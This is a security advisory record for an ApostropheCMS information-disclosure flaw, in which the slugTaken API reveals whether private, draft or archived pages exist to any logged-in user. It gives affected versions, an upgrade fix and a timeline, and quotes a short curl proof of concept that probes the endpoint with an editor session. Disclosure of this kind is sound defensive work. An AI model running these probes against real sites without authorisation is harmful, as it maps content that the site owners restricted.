---
id: "CVE-2026-112952"
kind: "vulnerability"
aliases: ["CVE-2026-112952", "GHSA-f66c-mpj2-3r8h"]
title: "ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user"
severity: "medium"
cvss: 4.300000190734863
epss: 0.002730000065639615
exploited: false
status: "open"
category: "package"
products: [{"name": "apostrophe", "fixed": ["4.34.0"], "affected": "< 4.34.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophecms", "cwe-200", "node.js", "npm", "package", "self-hosted"]
not_affected_if: ["managed-hosting", "no-authenticated-users", "version-4.34.0-or-later"]
published_at: "2026-10-20T16:17:06+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-f66c-mpj2-3r8h", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112952", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user

ApostropheCMS's slugTaken API endpoint returns whether any slug exists across all document types and visibility levels without permission checks. Any logged-in user, including editors, can enumerate private, draft, and archived page slugs.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:apostrophe affected < 4.34.0 fixed 4.34.0

## How to check

Check the installed apostrophe version with `npm ls apostrophe`; versions below 4.34.0 are affected.
As a test, POST {"slug":"<known-private-slug>"} to /api/v1/@apostrophecms/doc/slugTaken with a low-privilege session and see whether it returns taken: true.

## Fix

Upgrade apostrophe to 4.34.0 or later.
If upgrading is not possible now, restrict who holds any login on the CMS, since any authenticated user can exploit this.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-f66c-mpj2-3r8h
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112952

## From the sources

### Summary
The `slugTaken` endpoint returns a boolean indicating whether a slug is in use across
all document types and visibility levels, with no permission or type filter. Any logged-in
user (including editors) can enumerate the slug space of private pages, drafts, and
archived content.

### Details
`POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ "slug": "target-slug" }` runs
a raw existence check against the documents collection. It does not:
- Check whether the requesting user has read permission for documents of that type.
- Filter by `visibility` (public, loginRequired, private).
- Filter by `viewRole`.
- Filter by publication status (draft vs published).

A single authenticated session can iterate the slug space to enumerate the full content
inventory of the CMS, including content the user is explicitly prohibited from viewing.

### PoC
```bash
# Any authenticated session works — editor role sufficient
curl -b "$EDITOR_JAR" -X POST \
  -H "Content-Type: application/json" \
  -d '{"slug":"known-private-page-slug"}' \
  "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": true }  — confirms private page exists

curl -b "$EDITOR_JAR" -X POST \
  -H "Content-Type: application/json" \
  -d '{"slug":"zzz-nonexistent"}' \
  "http://TARGET/api/v1/@apostrophecms/doc/slugTaken"
# → { "taken": false }
```

### Impact
Information disclosure. An attacker with any authenticated session can enumerate all
slugs in the system, mapping the full content structure of the CMS including private and
admin-only content.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
